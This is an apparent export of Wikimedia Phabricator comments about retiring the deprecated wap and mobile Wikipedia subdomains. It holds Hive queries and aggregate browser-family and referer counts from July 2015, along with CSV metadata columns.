What follows are the top 10 browsers families for mobiledot/wapdot Wikipedia access, followed by the top 25 browser families for mdot Wikipedia access for a point of reference and general fun.

=== mobile/wap subdomains ===

hive> select day, user_agent_map['browser_family'], count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day < 15
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
and is_pageview = true and agent_type = 'user'
group by day, user_agent_map['browser_family'];

day	family	count
1	Sogou Explorer	683
1	UC Browser	606
1	bingbot	492
1	Android	345
1	Chrome	253
1	Mobile Safari	226
1	IE	206
1	QQ Browser Mobile	159
1	Firefox	118
1	Chrome Mobile	95
2	Sogou Explorer	813
2	UC Browser	769
2	Android	421
2	Chrome	395
2	Mobile Safari	219
2	UP.Browser	214
2	Chrome Mobile	210
2	IE	171
2	QQ Browser Mobile	157
2	Firefox	93
3	Sogou Explorer	1405
3	UC Browser	744
3	Android	521
3	Chrome	376
3	Mobile Safari	233
3	IE	231
3	QQ Browser Mobile	221
3	Firefox	142
3	Chrome Mobile	131
3	bingbot	101
4	UC Browser	954
4	Android	754
4	Sogou Explorer	669
4	Chrome	445
4	Mobile Safari	266
4	bingbot	257
4	IE	255
4	Firefox	203
4	Chrome Mobile	168
4	QQ Browser Mobile	161
5	UC Browser	1072
5	Sogou Explorer	944
5	Android	652
5	Chrome	500
5	bingbot	353
5	Mobile Safari	250
5	IE	246
5	QQ Browser Mobile	217
5	Chrome Mobile	199
5	Firefox	173
6	UC Browser	1152
6	Sogou Explorer	676
6	Android	584
6	Chrome	500
6	Mobile Safari	351
6	IE	267
6	Firefox	230
6	QQ Browser Mobile	230
6	bingbot	142
6	Baidu Browser	131
7	Sogou Explorer	1874
7	UC Browser	918
7	Chrome	610
7	Android	573
7	IE	503
7	Mobile Safari	349
7	QQ Browser Mobile	278
7	Firefox	166
7	Chrome Mobile	150
7	Baidu Browser	71
8	Sogou Explorer	2158
8	UC Browser	1068
8	Android	789
8	Chrome	506
8	IE	399
8	Mobile Safari	254
8	Chrome Mobile	244
8	QQ Browser Mobile	206
8	Firefox	165
8	Baidu Browser	146
9	UC Browser	1095
9	Chrome	852
9	Sogou Explorer	823
9	Android	688
9	bingbot	486
9	IE	457
9	Mobile Safari	293
9	Chrome Mobile	259
9	QQ Browser Mobile	229
9	Firefox	200
10	Sogou Explorer	926
10	UC Browser	823
10	Android	530
10	IE	425
10	Chrome	381
10	Other	334
10	bingbot	300
10	Mobile Safari	248
10	QQ Browser Mobile	193
10	Firefox	170
11	UC Browser	989
11	Android	664
11	Sogou Explorer	524
11	Chrome	504
11	Baidu Browser	489
11	Mobile Safari	387
11	IE	334
11	Other	286
11	QQ Browser Mobile	213
11	Chrome Mobile	192
12	UC Browser	1152
12	Sogou Explorer	1126
12	Android	796
12	Chrome	552
12	IE	418
12	Mobile Safari	414
12	QQ Browser Mobile	312
12	Other	298
12	Chrome Mobile	252
12	Firefox	209
13	UC Browser	1046
13	Sogou Explorer	905
13	Android	613
13	IE	573
13	Chrome	429
13	Other	401
13	Mobile Safari	358
13	Chrome Mobile	224
13	QQ Browser Mobile	191
13	Firefox	153
14	Sogou Explorer	1109
14	Android	1012
14	UC Browser	929
14	Chrome	545
14	Mobile Safari	491
14	Other	414
14	IE	318
14	Chrome Mobile	302
14	QQ Browser Mobile	234

=== mdot subdomains ===

hive> select day, user_agent_map['browser_family'], count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day < 15
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and uri_host like '%.m.wikipedia.org'
and is_pageview = true and agent_type = 'user'
group by day, user_agent_map['browser_family'];


day	family	count
1	Mobile Safari	12132057
1	Chrome Mobile	8801804
1	Android	3749250
1	Other	2528518
1	Opera Mini	1403237
1	Chrome	900893
1	IE Mobile	681078
1	Chrome Mobile iOS	621432
1	BingPreview	449956
1	UC Browser	297750
1	IE	204187
1	Firefox Mobile	178981
1	BlackBerry WebKit	152236
1	Amazon Silk	118894
1	Opera Mobile	102316
1	NetFront NX	64352
1	Firefox	53725
1	Yandex Browser	50416
1	UP.Browser	40531
1	NetFront	37946
1	Nokia Browser	29383
1	bingbot	28545
1	Nokia Services (WAP) Browser	24726
1	Opera	22199
1	Safari	19415
1	BlackBerry	18870
2	Mobile Safari	12004029
2	Chrome Mobile	8784320
2	Android	3744649
2	Other	2524019
2	Opera Mini	1376195
2	Chrome	866146
2	IE Mobile	691822
2	Chrome Mobile iOS	612938
2	UC Browser	294477
2	BingPreview	250466
2	IE	189961
2	Firefox Mobile	162782
2	BlackBerry WebKit	145485
2	Amazon Silk	115699
2	Opera Mobile	105234
2	NetFront NX	62323
2	Firefox	55917
2	Yandex Browser	52083
2	bingbot	43918
2	UP.Browser	40129
2	NetFront	35811
2	Nokia Browser	29375
2	Nokia Services (WAP) Browser	23477
2	Opera	21882
2	Safari	19424
3	Mobile Safari	12138382
3	Chrome Mobile	8737983
3	Android	3661523
3	Other	2496413
3	Opera Mini	1331507
3	Chrome	850364
3	IE Mobile	681066
3	Chrome Mobile iOS	626966
3	BingPreview	289122
3	UC Browser	279870
3	IE	168306
3	Firefox Mobile	162661
3	BlackBerry WebKit	143762
3	Amazon Silk	123083
3	Opera Mobile	102074
3	NetFront NX	60822
3	Firefox	53944
3	Yandex Browser	51476
3	bingbot	48486
3	UP.Browser	40755
3	NetFront	35489
3	Nokia Browser	29147
3	Nokia Services (WAP) Browser	22745
3	Opera	21359
3	BlackBerry	17753
4	Mobile Safari	13730159
4	Chrome Mobile	9532199
4	Android	4022570
4	Other	2517782
4	Opera Mini	1345187
4	Chrome	964526
4	IE Mobile	741965
4	Chrome Mobile iOS	702966
4	BingPreview	468216
4	UC Browser	286850
4	Firefox Mobile	182468
4	IE	168662
4	BlackBerry WebKit	154417
4	Amazon Silk	141286
4	Opera Mobile	108665
4	NetFront NX	68877
4	Firefox	58791
4	Yandex Browser	54158
4	bingbot	44750
4	UP.Browser	41254
4	NetFront	37933
4	Nokia Browser	29757
4	Opera	23560
4	Nokia Services (WAP) Browser	22688
4	Safari	17528
5	Mobile Safari	14771801
5	Chrome Mobile	10252627
5	Android	4290877
5	Other	2497504
5	Opera Mini	1430023
5	Chrome	1096304
5	IE Mobile	803601
5	Chrome Mobile iOS	783147
5	UC Browser	310218
5	Firefox Mobile	196526
5	IE	183440
5	BlackBerry WebKit	168692
5	Amazon Silk	153276
5	BingPreview	140881
5	Opera Mobile	116913
5	Firefox	85277
5	NetFront NX	70825
5	Yandex Browser	58552
5	bingbot	48201
5	UP.Browser	42779
5	NetFront	40441
5	Nokia Browser	31471
5	Opera	27185
5	Nokia Services (WAP) Browser	23803
5	Safari	21766
6	Mobile Safari	14228044
6	Chrome Mobile	9753676
6	Android	3929643
6	Other	2532060
6	Opera Mini	1375394
6	Chrome	997612
6	IE Mobile	734240
6	Chrome Mobile iOS	731946
6	UC Browser	290711
6	BingPreview	284861
6	IE	178792
6	Firefox Mobile	172885
6	BlackBerry WebKit	157233
6	Amazon Silk	139901
6	Opera Mobile	109337
6	Firefox	81048
6	NetFront NX	64400
6	Yandex Browser	54215
6	UP.Browser	43042
6	bingbot	40085
6	NetFront	36980
6	Nokia Browser	29496
6	Opera	24721
6	Safari	24390
6	Nokia Services (WAP) Browser	24015
7	Mobile Safari	12806729
7	Chrome Mobile	9304625
7	Android	3815258
7	Other	2541857
7	Opera Mini	1383079
7	Chrome	994497
7	IE Mobile	706593
7	Chrome Mobile iOS	655893
7	UC Browser	287160
7	BingPreview	259074
7	IE	176418
7	Firefox Mobile	168050
7	BlackBerry WebKit	152605
7	Amazon Silk	126040
7	Opera Mobile	104946
7	Firefox	81895
7	bingbot	60863
7	NetFront NX	60185
7	Yandex Browser	53208
7	UP.Browser	43063
7	NetFront	37451
7	Nokia Browser	29615
7	Safari	24805
7	Nokia Services (WAP) Browser	24232
7	Opera	23075
8	Mobile Safari	12659503
8	Chrome Mobile	9184525
8	Android	3764545
8	Other	2495933
8	Opera Mini	1375041
8	Chrome	1020657
8	IE Mobile	696917
8	Chrome Mobile iOS	643371
8	UC Browser	283650
8	IE	188007
8	Firefox Mobile	168692
8	BlackBerry WebKit	155079
8	Amazon Silk	122635
8	Firefox	117103
8	Opera Mobile	106414
8	NetFront NX	57835
8	Yandex Browser	53029
8	UP.Browser	43942
8	NetFront	36813
8	bingbot	33094
8	Safari	30213
8	Nokia Browser	29398
8	Opera	27378
8	Nokia Services (WAP) Browser	24380
8	BlackBerry	18825
9	Mobile Safari	12354742
9	Chrome Mobile	9064487
9	Android	3696875
9	Other	2486943
9	Opera Mini	1357777
9	Chrome	914434
9	IE Mobile	695167
9	Chrome Mobile iOS	628220
9	UC Browser	289429
9	IE	184369
9	Firefox Mobile	163949
9	BlackBerry WebKit	150928
9	Amazon Silk	117744
9	Opera Mobile	106225
9	Firefox	70187
9	NetFront NX	60153
9	Yandex Browser	51033
9	UP.Browser	45109
9	NetFront	37170
9	Nokia Browser	29762
9	Nokia Services (WAP) Browser	24050
9	Opera	23910
9	Safari	20247
9	BlackBerry	18461
9	Dolfin	11563
10	Mobile Safari	12316817
10	Chrome Mobile	8919801
10	Android	3617929
10	Other	2488354
10	Opera Mini	1288886
10	Chrome	880277
10	IE Mobile	679295
10	Chrome Mobile iOS	629070
10	UC Browser	286555
10	IE	194987
10	Firefox Mobile	165586
10	BlackBerry WebKit	148878
10	Amazon Silk	120113
10	Opera Mobile	103405
10	Firefox	67870
10	NetFront NX	60565
10	Yandex Browser	51304
10	UP.Browser	43992
10	NetFront	36353
10	Nokia Browser	29745
10	Opera	24687
10	Nokia Services (WAP) Browser	22633
10	Safari	19044
10	BlackBerry	17754
10	Dolfin	10840
11	Mobile Safari	13795165
11	Chrome Mobile	9607690
11	Android	3860025
11	Other	2465461
11	Opera Mini	1349373
11	Chrome	967251
11	IE Mobile	744211
11	Chrome Mobile iOS	718981
11	UC Browser	295544
11	Firefox Mobile	184472
11	IE	181590
11	BlackBerry WebKit	167669
11	Amazon Silk	139257
11	Opera Mobile	109767
11	Firefox	70353
11	NetFront NX	64651
11	Yandex Browser	55602
11	UP.Browser	44536
11	bingbot	42287
11	NetFront	37872
11	Safari	30587
11	Nokia Browser	29739
11	Opera	28711
11	Nokia Services (WAP) Browser	23403
11	BlackBerry	16700
12	Mobile Safari	15686143
12	Chrome Mobile	10817867
12	Android	4276783
12	Other	2454413
12	Opera Mini	1412342
12	Chrome	1170379
12	IE Mobile	845740
12	Chrome Mobile iOS	806681
12	UC Browser	313527
12	Firefox Mobile	205955
12	IE	185790
12	BlackBerry WebKit	173916
12	Amazon Silk	158612
12	Opera Mobile	120208
12	Firefox	84299
12	NetFront NX	71344
12	Yandex Browser	61163
12	UP.Browser	45226
12	NetFront	41501
12	bingbot	39173
12	Nokia Browser	34482
12	Opera	27024
12	Nokia Services (WAP) Browser	23988
12	Safari	23434
12	BlackBerry	18223
13	Mobile Safari	13399404
13	Chrome Mobile	9569999
13	Android	3763515
13	Other	2489720
13	Opera Mini	1358259
13	Chrome	959016
13	IE Mobile	737357
13	Chrome Mobile iOS	692172
13	UC Browser	287651
13	IE	189446
13	Firefox Mobile	174859
13	BlackBerry WebKit	160102
13	Amazon Silk	132538
13	Opera Mobile	109905
13	Firefox	73997
13	NetFront NX	65558
13	Yandex Browser	53710
13	UP.Browser	44708
13	NetFront	36526
13	Nokia Browser	30000
13	Opera	27932
13	Nokia Services (WAP) Browser	23985
13	Safari	20944
13	BlackBerry	17992
13	bingbot	11291
14	Mobile Safari	13232133
14	Chrome Mobile	9536148
14	Android	3800470
14	Other	2494306
14	Opera Mini	1355835
14	Chrome	964733
14	IE Mobile	734601
14	Chrome Mobile iOS	680583
14	UC Browser	284872
14	IE	194704
14	Firefox Mobile	172817
14	BlackBerry WebKit	153291
14	Amazon Silk	123805
14	Opera Mobile	105970
14	Firefox	69767
14	NetFront NX	62671
14	Yandex Browser	52945
14	UP.Browser	47034
14	NetFront	36542
14	Nokia Browser	30271
14	Opera	25178
14	Nokia Services (WAP) Browser	24734
14	Safari	20192
14	BlackBerry	18818
14	bingbot	12905
14	Dolfin	11430



== Referer ==

It should be sufficient to just look at four distinct hours from two days for the mobiledot/wapdot case because inbound links independent of search engines would be pretty evident pretty fast.

As it turned out there were 29 distinct external Referer host value for the first days' hours being reviewed and there were 39 distinct external Referer host values for the second days' hours being reviewed. The top ten external Referer hostnames are listed below along with the counts for ""unknown"" (e.g., bookmark, start page, or Referer-suppressed scheme:// changes) and ""internal"" referrals.


hive> select month, day, ref, count(*) from
(select month, day,
case when referer_class = 'external' then parse_url(referer,'HOST') else referer_class end as ref
from
wmf.webrequest where
year = 2015 and (month = 6 or month = 7) and day = 5
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
and is_pageview = true and agent_type = 'user') r
group by month, day, ref;


month	day	ref	count
6	5	unknown	1411
6	5	internal	974
6	5	m.baidu.com	120
6	5	www.baidu.com	44
6	5	m.sp.sm.cn	39
6	5	www.sogou.com	23
6	5	m5.baidu.com	7
6	5	wap.sogou.com	7
6	5	image.baidu.com	6
6	5	r.search.yahoo.com	6
6	5	www.bioboard.de	6
6	5	www.google.com	4
7	5	internal	2647
7	5	unknown	1068
7	5	m.baidu.com	521
7	5	www.baidu.com	308
7	5	m.sp.sm.cn	62
7	5	www.sogou.com	35
7	5	www.bing.com	28
7	5	wap.baidu.com	25
7	5	m5.baidu.com	14
7	5	www.google.com.tw	9
7	5	m.sogou.com	7
7	5	www.google.com	7"
492461,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"@tnegrin, @chmarkine:

I'll pull together some User-Agent and Referer stuff.",,,1437064802,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.235294117647059,0.9411764705882353,"SCREEN_NAME,SCREEN_NAME:

I'll pull together some User-Agent and Referer stuff."
492428,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,Could you look at the referrers as well? Do most of the requests come from search engines?,,,1437062562,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.8947368421052633,0.8947368421052632,Could you look at the referrers as well? Do most of the requests come from search engines?
492376,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Hi Adam -- can you please look at the UAs for the queries that come to
these domains? The question was asked on mobile-l and I think it would be
interesting (and hopefully straightforward) -- I think pulling the UA and
limiting to the top 10 would be enough.

thanks,

-Toby",,,1437059198,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,5.0,11.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,3.0,2.0,0.0,6.0,8.0,3.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.634920634920635,0.7777777777777778,"Hi Adam -- can you please look at the UAs for the queries that come to
these domains? The question was asked on mobile-l and I think it would be
interesting (and hopefully straightforward) -- I think pulling the UA and
limiting to the top 10 would be enough.

thanks,

-Toby"
492332,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"As mentioned on threads: looks like the user pageviews for wap.wikipedia.org and mobile.wikipedia.org subdomains are approximately 0.02% of the size of pageviews for m.wikipedia.org subdomains based on a recent one day check.

hive> select count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day = 14
and access_method = 'mobile web'
and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
and is_pageview = true and agent_type = 'user';

35,543

hive> select count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day = 14
and access_method = 'mobile web'
and uri_host like '%.m.wikipedia.org'
and is_pageview = true and agent_type = 'user';

202,024,891",,,1437053289,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.5,8.5,0.0,0.0,0.0,0.0,0.0,3.5,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.0,1.0,8.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,7.0,0.5,0.0,8.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,2.5,4.046052631578947,0.5921052631578947,"As mentioned on threads: looks like the user pageviews for wap.wikipedia.org and mobile.wikipedia.org subdomains are approximately 0.02% of the size of pageviews for m.wikipedia.org subdomains based on a recent one day check.

hive> select count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day = 14
and access_method = 'mobile web'
and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
and is_pageview = true and agent_type = 'user';

35,543

hive> select count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day = 14
and access_method = 'mobile web'
and uri_host like '%.m.wikipedia.org'
and is_pageview = true and agent_type = 'user';

202,024,891"
492309,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Here are the mails to wikitech-l and mobile-l.

https://lists.wikimedia.org/pipermail/wikitech-l/2015-July/082408.html

https://lists.wikimedia.org/pipermail/mobile-l/2015-July/009453.html",,,1437050469,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0625,0.8125,"Here are the mails to wikitech-l and mobile-l.

URL

URL"
492302,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,A glance at the User-Agent values suggests the domains are commonly being visited by devices supporting HTML instead of WML. I think people are just coming from links from other sites. We deprecated WML sometime back. I'll email mobile-l and wikitech-l to see if anyone knows of a reason to keep the domains.,,,1437049745,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,8.0,14.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,8.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,14.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.0,0.765625,A glance at the User-Agent values suggests the domains are commonly being visited by devices supporting HTML instead of WML. I think people are just coming from links from other sites. We deprecated WML sometime back. I'll email mobile-l and wikitech-l to see if anyone knows of a reason to keep the domains.
492046,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,cool -- I'll defer to the expertise of Adam and Joaquin on this.,,,1437001179,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,20.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,1.0,cool -- I'll defer to the expertise of Adam and Joaquin on this.
492020,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"It shouldn't be a matter of any real effort.  As far as I know, both of these subdomains were already deprecated years ago and aren't advertised or linked anywhere.  Traffic stats are fairly low, probably from organic discovery of them, but can't be sure.  @Chmarkine gave links and google stats on that earlier in the ticket, and I posted up some numbers from @faidon's stats on our terminators as well.

Mostly, we're just trying to get confirmation of dis-use before we pull them, so that we don't find out the Hard Way that there was still some obscure need for these somewhere.
",,,1436999435,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,1,True,2.0,0.0,0.0,1.0,2.5,3.0,1.5,0.0,0.0,0.0,2.5,3.0,0.0,0.0,1.0,4.5,0.0,11.5,12.0,0.0,1.0,0.5,1.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,4.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,10.0,0.0,3.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,2.0,3.5,5.5,2.5,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.5,12.0,3.0,0.0,0.0,0.0,6.5,0.0,0.0,0.5,1.5,1.0,1.0,0.0,0.5,3.92741935483871,0.8225806451612903,"It shouldn't be a matter of any real effort.  As far as I know, both of these subdomains were already deprecated years ago and aren't advertised or linked anywhere.  Traffic stats are fairly low, probably from organic discovery of them, but can't be sure. SCREEN_NAME gave links and google stats on that earlier in the ticket, and I posted up some numbers fromSCREEN_NAME's stats on our terminators as well.

Mostly, we're just trying to get confirmation of dis-use before we pull them, so that we don't find out the Hard Way that there was still some obscure need for these somewhere.
"
492017,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"@Jhernandez, @dr0ptp4kt -- what's the level of effort for Reading here? ",,,1436999230,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,4.428571428571429,0.9285714285714286,"SCREEN_NAME,SCREEN_NAME -- what's the level of effort for Reading here? "
491956,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,@dr0ptp4kt thanks :),,,1436991444,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.0,SCREEN_NAME thanks :)
491951,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,I added Reading web engineers to the patch and will add them to this ticket as well in case they have any concerns.,,,1436990347,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,1,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.875,0.9583333333333334,I added Reading web engineers to the patch and will add them to this ticket as well in case they have any concerns.
489701,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 223972 had a related patch set uploaded (by BBlack):
Remove wap and mobile subdomains

[[https://gerrit.wikimedia.org/r/223972]]
